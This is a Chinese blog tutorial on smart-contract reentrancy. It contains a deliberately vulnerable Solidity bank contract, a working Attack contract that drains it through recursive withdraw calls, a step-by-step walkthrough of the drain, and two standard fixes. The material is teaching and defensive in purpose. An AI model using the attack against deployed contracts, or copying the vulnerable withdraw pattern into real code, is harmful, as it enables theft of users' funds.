news 2026/2/27 13:05:43

智能合约“黑暗森林”:复现 DeFi 重入攻击,AI 竟然比黑客更快发现了合约漏洞?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
智能合约“黑暗森林”:复现 DeFi 重入攻击,AI 竟然比黑客更快发现了合约漏洞?

标签:#Web3 #BlockchainSecurity #Solidity #AI #Reentrancy


🩸 前言:当 ATM 机发疯的时候

想象一下,你在这个世界上有一台特殊的 ATM 机。
如果你去取 100 块钱,它的流程是这样的:

  1. 检查余额:看你卡里有没有 100 块。
  2. 吐钞:把 100 块吐给你。
  3. 扣款:把你账户里的余额减去 100 块。

听起来没问题?黑客的思路是这样的:
在步骤 2(吐钞)和步骤 3(扣款)之间,我大喊一声:“再给我取 100 块!”
因为步骤 3 还没执行,ATM 机觉得你余额还在,于是再次执行步骤 2
如此循环,直到提空 ATM 机的所有现金。

这就是重入攻击的本质。


🕳️ 一、 漏洞现场:一个典型的“提款机”合约

我们写一个简易的银行合约EtherStore.sol。它允许用户存钱,并提现。

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract EtherStore { mapping(address => uint256) public balances; // 存钱 function deposit() public payable { balances[msg.sender] += msg.value; } // 取钱 (漏洞就在这里!) function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); // 1. 发送以太币 (Interaction) // 使用 .call 发送 ETH 会触发接收方的 fallback 函数 (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); // 2. 更新余额 (Effects) // 致命错误:钱发完了才扣余额! balances[msg.sender] = 0; } }

🤖 二、 人机对决:谁先发现漏洞?

🧑‍💻 选手 A:人类黑客

人类黑客需要:

  1. 通读代码。
  2. 识别call函数。
  3. 检查状态变量balances的更新位置。
  4. 脑补调用流程,确认不符合 “Checks-Effects-Interactions” 模式。
    耗时:熟手约 1-5 分钟,新手可能看不出来。
🤖 选手 B:AI 安全审计员 (GPT-4 / Claude 3.5)

我们将上述代码直接喂给 AI,Prompt 只有一句:“审计这段 Solidity 代码的安全性。”

AI 的回答(秒回):

严重漏洞警告:重入攻击 (Reentrancy)
withdraw函数中,合约先通过msg.sender.call发送以太币,然后才将余额balances[msg.sender]更新为 0。
攻击者可以创建一个恶意合约,在其fallbackreceive函数中再次调用withdraw。由于余额尚未更新,第二次调用仍然会通过require(bal > 0)检查。

结果:AI 耗时 < 3 秒。
在标准化漏洞扫描上,AI 的效率已经对人类形成了降维打击。


⚔️ 三、 攻击复现:清空金库

既然 AI 指出了路,我们就来当一回“黑客”。
我们需要编写一个Attack.sol合约来配合攻击。

攻击原理图 (Mermaid):

1. 存入 1 ETH
2. 调用 withdraw

受害者逻辑

3. 触发 Fallback
4. 递归调用 withdraw

检查余额 > 0

发送 ETH (call)

攻击者 Fallback 函数

5. 更新余额 (太晚了)

循环直到掏空

攻击者合约

受害者合约 EtherStore

攻击合约代码:

contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // 接收 ETH 时会自动触发 fallback() external payable { if (address(etherStore).balance >= 1 ether) { // 只要受害者合约里还有钱,就继续吸血! etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); // 1. 先存点钱进去,取得信任 etherStore.deposit{value: 1 ether}(); // 2. 开始提款,触发连环陷阱 etherStore.withdraw(); } }

战况推演:

  1. 受害者合约里有 10 ETH(其他用户的钱)。
  2. 攻击者存入 1 ETH。
  3. 攻击者调用attack()->etherStore.withdraw()
  4. etherStore发送 1 ETH 给Attack
  5. Attack收到钱,触发fallback()
  6. fallback()再次调用etherStore.withdraw()
  7. 此时etherStore还没来得及把攻击者的余额清零!它以为攻击者还有 1 ETH。
  8. etherStore再次发送 1 ETH……
  9. 循环直到etherStore余额归零。

🛡️ 四、 防御:AI 给出的修复方案

不仅能攻,还能防。AI 给出了两种标准的修复方案:

方案 1:检查-生效-交互 (Checks-Effects-Interactions)

先改状态,再发钱。

function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0); // 1. 先扣钱 (Effects) balances[msg.sender] = 0; // 2. 再发钱 (Interactions) (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send"); }
方案 2:防重入锁 (ReentrancyGuard)

使用 OpenZeppelin 的修饰符。

// 引入 ReentrancyGuard import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract EtherStore is ReentrancyGuard { // 加上 nonReentrant 修饰符,同一个交易内禁止递归进入 function withdraw() public nonReentrant { // ... 业务逻辑 } }

🎯 总结

Web3 的世界是残酷的。以前,你需要懂汇编、懂 EVM 才能发现深层漏洞。
现在,AI 极大地降低了“作恶”和“行善”的门槛

  • 对于开发者:在部署合约前,务必把代码丢给 AI 跑一遍审计。它不一定能发现所有逻辑 Bug,但像重入攻击这种经典漏洞,它一抓一个准。
  • 对于黑客:AI 正在成为最高效的“漏洞扫描器”。

Next Step:
不要只看文章。去Remix IDE上部署这两个合约(EtherStore 和 Attack),亲自体验一下余额瞬间归零的震撼。这是理解区块链安全最快的方式。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/23 14:06:02

adpsvc.dll文件损坏找不到问题 免费下载方法分享

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华
网站建设 2026/2/26 3:08:01

文科核心期刊投稿新思路:8大平台精准遴选与AI智能改写方案

8大文科论文查重工具核心对比 排名 工具名称 查重准确率 数据库规模 特色功能 适用场景 1 Aicheck 98% 10亿文献 AI降重、AIGC检测 初稿查重与修改 2 Aibiye 96% 8亿文献 智能改写、格式调整 终稿精细优化 3 秒篇 95% 6亿文献 一键生成降重报告 快速查重…

作者头像 李华
网站建设 2026/2/17 9:18:33

基于java的在线教育平台 课程作业考试系统的设计与实现

目录摘要项目技术支持可定制开发之功能亮点源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作摘要 随着互联网技术的快速发展&#xff0c;在线教育已成为现代教育的重要组成部分。基于Java的在线教育平台旨在提供一个高效、稳定、可扩展的课程…

作者头像 李华
网站建设 2026/2/24 11:39:39

基于python的零食商城销售系统的设计与实现

目录摘要关键词项目技术支持可定制开发之功能亮点源码获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作摘要 随着电子商务的快速发展&#xff0c;线上购物成为消费者获取商品的主要渠道之一。零食作为日常消费品&#xff0c;市场需求量大&#x…

作者头像 李华
网站建设 2026/2/27 8:19:48

嘎嘎降AI vs 比话降AI:哪款更适合你?

嘎嘎降AI vs 比话降AI&#xff1a;哪款更适合你&#xff1f; TL;DR&#xff1a;嘎嘎降AI和比话降AI是目前最热门的两款降AI工具。嘎嘎降AI&#xff08;4.8元/千字&#xff0c;达标率99.26%&#xff09;性价比更高&#xff0c;适合大多数人&#xff1b;比话降AI&#xff08;8元/…

作者头像 李华